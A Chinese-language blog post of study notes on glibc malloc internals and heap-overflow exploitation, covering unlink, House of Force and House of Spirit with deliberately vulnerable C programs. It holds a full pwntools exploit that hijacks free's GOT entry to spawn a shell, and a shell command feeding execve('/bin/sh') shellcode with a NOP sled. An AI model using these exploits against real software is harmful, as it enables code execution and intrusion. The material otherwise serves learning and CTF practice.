关于heap overflow的一些笔记

本文是总结了互联网上多篇文章后整合而成,如有纰漏还请轻喷。


malloc在unix上通过brk和mmap来分配堆
brk维护一个start_brk,它紧接在未初始化的bss区后,并且向上生长(更高的地址),对于每个进程,内核维护一个brk变量,它指向堆顶。

本来linux默认的是dlmalloc,但是由于其不支持多线程堆管理,所以后来被支持多线程的prmalloc2代替了,prmalloc2能够同时支持多个堆的维护。
对于一个多线程程序,主线程只会拥有一个堆,如果主线程的堆空间用尽,用通过brk来扩展堆直到极限,因为主线程只有一个堆,所以也不会有heap_info这个结构。其他线程可以拥有多个堆,每个堆会有一个heap_info结构,如果一个堆用尽,会使用mmap分配一个新的堆,下图是主线程的堆和子线程堆的区别

下面是线程有多个堆的情况

typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;

这个结构中最重要的是ar_ptr这个变量,这是一个指向arena的指针,也就是堆本身,size储存着这个堆的大小。

每个arena都有如下结构

struct malloc_state
{
  /* Serialize access.  */
  mutex_t mutex;

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  */
  struct malloc_state *next_free;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

可以看到结构体中有两个关键变量topbins

top指向一个堆空间,这个堆空间就是我们用来储存数据的地方,在程序的开始只有一个超大堆空间(top chunk),之后的每一次malloc,如果剩下的空间足够分配,系统将从这个堆空间中取出指定大小的空间给程序,比如依次malloc(4*sizeof(int)),malloc(2*sizeof(int)),堆空间应该是这样的

bin数组由双向链表组成,这些双向链表内储存的是被释放(free)的堆空间(chunk),也就是说,在程序开始的时候,这些链表是空的(为什么有很多双向链表?因为每个双向链表维护的被释放空间大小不同,为了方便快速找到对应大小的空间,开发人员就设计了多个链表维护不同大小的chunk)

bins链表可以分为

  • Unsorted bin
  • Small bin
  • Large bin
  • bins里存有126组双向链表

  • 第1组是Unsorted bin
  • 第2 到 63组是Small bin
  • 第64 到 126组是Large bin
  • Unsorted bin:当一个chunk被free时,会检测紧邻(前面或后面)的chunk是否为freed状态,如果有,这些free掉的chunk会通过unlink脱掉原来的bin进行一次合并,合并后的chunk就被加入Unsorted bin的首位。这个bin内的chunk没有大小限制


    Small bin:小于512字节的chunk被free后会加入Small bin,Small bin在malloc和free时比Large bin快,比fast bins慢。
    当Small bin内没有符合的chunk时,会从Unsorted bin中取出chunk,如果Small bin内有符合的chunk,会从bin的尾部取出该chunk

    Large bin:大于或等于512字节的chunk被free后会加入Large bin,和Small bin不同,Large bin的每个双向链表上储存的chunk大小不是一样的,而是递减的,首位最大,末尾最小,并且在查找chunk时是从后向前查找的

    除了这三种bin,还有一种特殊的bin叫做Fast bin

    Fast bin:大小在16到80字节的chunk被free后会加入Fast bin,Fast bin在malloc和free中都是最快的,不用于其他bin,Fast bin是单链表,删除和加入都在首位进行。Fast bin的每一组链表都是8字节递增,比如第一组都是16字节大小的chunk,第二组都是是24字节…注意,最大的Fast bin大小是64字节,而非80字节。
    初始状态,Fast bin的max size和链表都是空,如果Fast bin内没有符合的chunk,会从Small bin内取出相应chunk


    这些chunk的结构如下

    struct malloc_chunk
    {
      INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
      INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
    
      struct malloc_chunk* fd;         /* double links -- used only if free. */
      struct malloc_chunk* bk;
    
      /* Only used for large blocks: pointer to next larger size.  */
      struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
      struct malloc_chunk* bk_nextsize;
    };
    

    当一个chunk被分配使用,最开始只有前两个变量会被用到,prev_size是前一块chunk的大小,前提是前一块chunk状态是free,如果前一块还在被使用,这4个字节会被前一块chunk共享使用以提高空间使用率,也就是说前一块chunk多了4字节。size是当前chunk的大小。如果当前块的状态是free,就会使用两个额外的变量:fdbk,这两个变量指向双向链表中的前后节点,至于怎么维护稍后再讲。

    现在关心的是,如何知道一个chunk是处于use还是free状态呢?
    chunk的结构被强加了一个8字节对齐,这就导致块大小的最低三位总是零,所以只用高29位储存size,低三位储存其他东西,这种情况下,chunk的最低位被指派为标记它的前一块是已分配还是空闲。

    比如
    一个24(0x18)大小的块,它的前一块chunk是已分配
    —————————–
    0x00000018 | 0x1 = 0x00000019

    一个40(0x28)大小的块,它的前一块chunk是空闲
    —————————–
    0x00000028 | 0x0 = 0x00000028

    倒数第二位表示chunk是否由mmap分配
    倒数第三位表示是否储存在main arena

    通过将自身chunk的地址+size就能得到下一个chunk的地址,然后检查它的头部最低位就能得到自己的状态

    当调用malloc后,程序做的第一件事就是在bins中找是否有符合大小的被释放块,如果有,这个被释放块就会从链表中脱离(unlink),如果没有就在top chunk中紧接着上次分配的chunk后面再分配一个chunk。

    unlink的代码如下

    /* Take a chunk off a bin list */
    #define unlink(P, BK, FD) {                                            \
      FD = P->fd;                                                          \
      BK = P->bk;                                                          \
      FD->bk = BK;                                                         \
      BK->fd = FD;                                                         \
    }
    

    仅接上段,如果top chunk的空间也不够分配,程序就会在新的内存空间寻找地址(使用sbrk和mmap,这会使chunk的倒数第二位被标记),然后会把新分配的内存地址返回给malloc。

    现在我们还是继续讲unlink,前面说到了在malloc时可能会出现unlink,还有一种情况也可能出现unlink:当在free过程中,如果将要free的chunk的紧邻的chunk(前面或者后面皆可)也是free状态,它们就会合并成一个更大的freed chunk,这就意味着这几个的chunk就会从原来的双向链表中unlink(因为它们的size发生了变化),最后这个合并的chunk会被移入unsorted_chunk链表中




    关于unlink的利用,pwnable有一道简单的unlink题

    pwn学习笔记汇总(持续更新)


    很早之前就有人总结出了unlink的利用技巧,将unlink代码写得直白一点就是

    FD = *P + 8;
    BK = *P + 12;
    FD + 12 = BK;
    BK + 8 = FD;
    

    我们能操控的就是FD,BK,要注意,FD+12和BK+8都要保证可写,比如栈,bss,got表,dtors等等,下面介绍一种覆盖dotrs的方法。

    gcc提供了一种特性,constructors和destructors,前者可以在main函数执行前运行,后者在main函数退出后运行,就像C++类中的构造函数和析构函数。显然控制构造函数不太现实,程序还没运行起来我们很难在任意地址上写入,理想的做法是控制dtors,dtors和ctors都是由0xFFFFFFFF和0x00000000和中间的函数地址组成,在dtors中0xFFFFFFFF和0x00000000之间的地址都会在main结束后执行,所以如果能覆盖这些地址或者直接覆盖0x00000000(空的dtors只有0xFFFFFFFF 0x00000000),就能执行该地址。

    看一段有漏洞的代码

    #include <stdlib.h>
    #include <string.h>
    int main(int argc, char **argv)
    {
      char *first_buf;
      char *second_buf;
    
      first_buf = (char *)malloc(78 * sizeof(char));
      second_buf = (char *)malloc(20 * sizeof(char));
    
      strcpy(first_buf, argv[1]);
      free(first_buf);
      free(second_buf);
    
      return 0;
    }
    

    这两个malloc后的堆空间将是这样

    first_buf:由于chunk是8字节对齐,78字节会被扩展到80字节,由于prey_size和size占了8字节。size的实际值是0x50+0x8 | 0x1 = 0x59。second_buf:prey_size被first_buf共享了,所以它的size是 0x14+0x4 | 0x1 = 0x19。接下来的工作就很简单了,覆盖fd和bk,例如fd = dtors + 0x4 – 0x12bk = 储存shellcode地址的栈空间,当first_buf被unlink时,dtors就会被复写。

    针对这些安全问题的策略也很多
    RELRO技术让.ctors, .dtors, .jcr, .dynamic and .got都不可写,即便.got这种动态加载的表,链接器会在程序刚开始执行的时候就把地址写进去然后把got设成只读。


    并且上述unlink方法已经被glibc遗弃很久了,现在的unlink使用了如下的检查机制

    /* Take a chunk off a bin list */
    void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
    {
    	FD = P->fd;
    	BK = P->bk;
    	if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    		malloc_printerr(check_action,"corrupted double-linked list",P);
    	else {
    		FD->bk = BK;
    		BK->fd = FD;
    	}
    }
    

    在脱链表时会检查当前chunk是否真的在链表内,如果它前驱的后继不是自己或者后继的前驱不是自己,就直接抛错误。这使unlink利用变得十分困难(并非不可利用),很快人们就发现,如果找到一个指向P的指针,精心伪造一个chunk,使FD->bk和BK->fd=P,这可以通过unlink检查,在接下来的

    FD->bk = BK;
    BK->fd = FD;
    

    中,这个指针将被FD覆盖,为了使文章易懂,我举一个例子

    buffer1=malloc(64);
    buffer2=malloc(64);
    

    这里我获得一个指向chunk1的指针buffer1,一个指向chunk2的指针buffer2,在伪造chunk时,使P->fd=buffer1-12,P->bk=buffer1-8,这会使

    FD->bk=buffer1-12+12=buffer1
    BK->fd=buffer1-8+8=buffer1
    

    最后的结果就是buffer1=buffer1-12,这样我就获得了一个向固定地址写入数据的机会,通过向buffer1写入数据12字节的junk,再写4字节将覆盖buffer1,由于可以将buffer1覆盖为任意4字节,这就从固定地址写入变成了任意地址写入。

    弄懂了原理,接下来看看怎么伪造一个chunk:
    假如我malloc两个64字节的chunk

    通过修改chunk2的size最低位,就能欺骗glibc认为chunk1是free的状态,这时free(chunk2)触发unlink,使buffer1=buffer1-12。
    我使用0xmuhe的博客引用的程序为例,给出自己写的exp:

    from pwn import *
    
    chunk_addr = 0x8049d60
    free_got = 0x8049ce8
    
    def launch_gdb():
        context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
        gdb.attach(proc.pidof(p)[0])
    
    
    def leak(addr):
        #为了保证任意地址leak,必须让buffer0始终指向buffer0-12,用buffer1作为leak_addr
        setchunk('0', 'A'*0xc+p32(chunk_addr-0xc)+p32(addr))
        #输出buffer1
        recv_addr = printchunk('1')
        print ("leaking "+hex(addr)+" --> " + recv_addr.encode('hex'))
        #if addr!=0x8048000:
        #    launch_gdb()
        return recv_addr
    
    def addchunk(size):
        p.sendline('1')
        p.recvuntil('you want to add:')
        p.sendline(size)
        p.recvuntil('5.Exit\n')
    
    def setchunk(v, data):
        p.sendline('2')
        p.recvuntil('Set chunk index:')
        p.sendline(v)
        p.recvuntil('Set chunk data:')
        p.sendline(data)
        p.recvuntil('5.Exit\n')
    
    def deletechunk(v):
        p.sendline('3')
        p.recvuntil('Delete chunk index:')
        p.sendline(v)
        p.recvuntil('5.Exit\n')
    
    def printchunk(v):
        p.sendline('4')
        p.recvuntil('Print chunk index:')
        p.sendline(v)
        return p.recv(4)
    
    p = process(['/home/etenal/pwnable.kr/heap_overflow/heap'])
    for i in range(0,3):
        addchunk('64')
    
    #print (p.recvuntil('index:'))
    payload = p32(0)+p32(65)+p32(chunk_addr-0xc)+p32(chunk_addr-0x8)+'A'*(64-4*4)+p32(64)+p32(72)
    #payload = 'AAA'
    setchunk('0', payload)
    
    deletechunk('1')
    
    
    
    pwn_elf = ELF('/home/etenal/pwnable.kr/heap_overflow/heap')
    d = DynELF(leak, elf=pwn_elf)
    sys_addr = d.lookup('system', 'libc')
    print("system addr: %#x" % sys_addr)
    
    setchunk('0', 'A'*12 + p32(free_got))
    setchunk('0', p32(sys_addr))
    #launch_gdb()
    setchunk('2', '/bin/sh')
    #system('/bin/sh')
    p.sendline('3')
    print p.recv(4096)
    p.sendline('2')
    p.interactive()
    



    除了unlink利用,人们接下来发明了其他的堆溢出方法。
    主要有以下几种:

  • The House of Prime
  • The House of Mind
  • The House of Force
  • The House of Lore
  • The House of Spirit

  • The House of Prime

    这种方法已经失效,想要了解看看这里


    The House of Lore

    这种方法已经失效,想要了解看看这里


    The House of Mind
    还在整理之中。


    The House of Force

  • 能够覆盖top chunk
  • 能够控制一组malloc的大小
  • 最后再调用一次malloc
  • 我们的目标是覆盖top chunk,因为前文说道,top chunk是新分配的chunk来源,当新的chunk被分配,top chunk会将自己分成两部分,一部分给新的chunk,剩下的继续作为top chunk存在,假如我们能控制top chunk,也就能控制每一次malloc的位置,因为我们可以通过malloc精准的size到达内存中任意一个可写的内存地址。

    malloc代码如下

    static void* _int_malloc(mstate av, size_t bytes)
    {
      INTERNAL_SIZE_T nb;             /* normalized request size */
      mchunkptr       victim;         /* inspected/selected chunk */
      INTERNAL_SIZE_T size;           /* its size */
      mchunkptr       remainder;      /* remainder from a split */
      unsigned long   remainder_size; /* its size */
    
      checked_request2size(bytes, nb); //如果bytes没有超出范围就传给nb
    
      [...]
    
      victim = av->top;  //av-top指向top chunk地址
      size = chunksize(victim);
      if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) //如果top chunk大小足够
      {
        remainder_size = size - nb;
        remainder = chunk_at_offset(victim, nb);  //获取新malloc内存地址
        av->top = remainder;
        set_head(victim, nb | PREV_INUSE | (av!=&main_arena ? NON_MAIN_ARENA : 0));
        set_head(remainder, remainder_size | PREV_INUSE);
    
        check_malloced_chunk(av, victim, nb);
        void *p = chunk2mem(victim);
        if (__builtin_expect (perturb_byte, 0))
          alloc_perturb (p, bytes);
        return p;
      }
    
      [...]
    }
    

    chunk_at_offset的定义如下

    #define chunk_at_offset(p, s)  ((mchunkptr)(((char*)(p)) + (s)))
    

    checked_request2size的定义如下

    #define checked_request2size(req, sz)                             \
      if (REQUEST_OUT_OF_RANGE (req)) {                                              \
          __set_errno (ENOMEM);                                                      \
          return 0;                                                                      \
        }                                                                              \
      (sz) = request2size (req);
    

    request2size定义如下

    #define request2size(req)                                         \
      (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
       MINSIZE :                                                      \
       ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
    

    如果top chunk的大小足够分配,malloc会使用chunk_at_offset来获得新top chunk地址,就是将当前的top chunk地址加上一个offset(新分配chunk的大小),再把新地址赋值给av->top

    av->top = remainder;
    

    可见,nb可以通过malloc传入的参数控制,只要能构造出想要的remainder,可以在任意可写地址malloc。

    参见下面有漏洞的程序

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    int main(int argc, char *argv[])
    {
    	char *buf1, *buf2, *buf3;
    	if (argc != 4) return;
    
    	buf1 = malloc(256);
    	strcpy(buf1, argv[1]);
    
    	buf2 = malloc(strtoul(argv[2], NULL, 16));
    
    	buf3 = malloc(256);
    	strcpy(buf3, argv[3]);
    
    	free(buf3);
    	free(buf2);
    	free(buf1);
    
    	return 0;
    }
    

    为了保证top chunk有足够的大小,我就得覆盖掉top chunk的size变量,所以

    argv[1]='A'*260 + '\xFF'*4
    

    这里使用最大的0xFFFFFFFF来覆盖size

    保证top chunk大小充足后就开始构造nb,使得nb+旧top地址=目标地址-8
    (为什么要-8?因为chunk是8字节对齐,前8字节是头部),这个值会被传给av->top,这一步结束后,如果我再次malloc,就会在目标地址上进行malloc。
    经过调试发现旧top地址是0x804b110,free地址是0x0804a008,计算得到0x804a008-0x8-0x804b110=FFFFEEF0

    LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF"')
    NOPS=$(perl -e 'print "\x90"x 0x10000')
    SC=$'\x68\x2f\x73\x68\x5a\x68\x2f\x62\x69\x6e\x89\xe7\x31\xc0\x88\x47\x07\x8d\x57\x0c\x89\x02\x8d\x4f\x08\x89\x39\x89\xfb\xb0\x0b\xcd\x80'
    STACKADDR=$'\x01\xC0\xFF\xBF'
    env -i "A=$NOPS$SC" ./example $LARGETOPCHUNK FFFFEEF0 $STACKADDR
    

    除了修改free的got表,还能直接修改栈上的返回地址直接跳到shellcode。


    The House of Spirit

  • 能通过栈溢出覆写malloc返回的chunk地址
  • 上述chunk被free
  • 再malloc一个同样大小的chunk
  • 能向该chunk写入数据
  • 一旦我控制了malloc返回的ptr指针,也就控制了将来free(ptr),因此可以free任意一段地址,伪造一个chunk并free掉,重新malloc分配时会将刚才free掉chunk重新分配出来(注意,条件是free掉的chunk大小小于max_size,因为上文提到,Fast bin采用单链表存储,增减都在首位,这能保证free掉的fast bin再次malloc也能得到用一块chunk,由于fast bin的原因,要求覆写的地址离chunk的size地址距离不能超过64字节)

    为了保证chunk加入fast bin,chunk的size末三位,IS_MMAPPED和NON_MAIN_ARENA都不能标记,下面是一个有漏洞的程序:

    /*
     * blackngel's vulnerable program slightly modified by gb_master
     */
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    void fvuln(char *str1, int age)
    {
      char *ptr1, name[32];
      int local_age;
      char *ptr2;
    
      local_age = age;
    
      ptr1 = (char *) malloc(256);
      printf("\nPTR1 = [ %p ]", ptr1);
      strcpy(name, str1);
      printf("\nPTR1 = [ %p ]\n", ptr1);
    
      free(ptr1);
    
      ptr2 = (char *) malloc(40);
    
    
      snprintf(ptr2, 40-1, "%s is %d years old", name, local_age);
      printf("\n%s\n", ptr2);
    }
    
    int main(int argc, char *argv[])
    {
      int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0};
    
      if (argc == 3)
        fvuln(argv[1], atoi(argv[2]));
    
      return 0;
    }
    

    此时的栈空间如下


    很容易找到漏洞

    char name[32];
    strcpy(name, str1);
    

    通过strcpy造成栈溢出,由于name相对于prt1处于栈的低位,因此栈溢出可以覆盖ptr1,这个时候栈空间如下

    由于ptr1被覆盖为0xbffffdf0,所以在free(ptr1)时,我伪造的fake chunk将会被free掉,由于size在ptr1的前四字节,free就会在0xbffffdec上将0x30作为size(注意,栈是向低地址生长,而堆是向高地址生长)。当再次malloc时

    ptr2 = (char *) malloc(40);
    

    ptr2就会成为0xbffffdf0,size为0x30的chunk,由于可以在这块chunk内写入数据,就能够覆盖位于0xbffffdf4这块的返回地址,是我可以直接返回到栈上执行shellcode(或者其他任意地址)


    参考资料:
    Understanding the Heap & Exploiting Heap Overflows
    Heap overflow using Malloc Maleficarum
    x86 Exploitation 101: “House of Spirit” – Friendly stack overflow
    x86 Exploitation 101: “House of Mind” – Undead and loving it…
    Understanding glibc malloc

    heap vuln — unlink

    发表评论

    发表评论

    *

    沙发空缺中,还不快抢~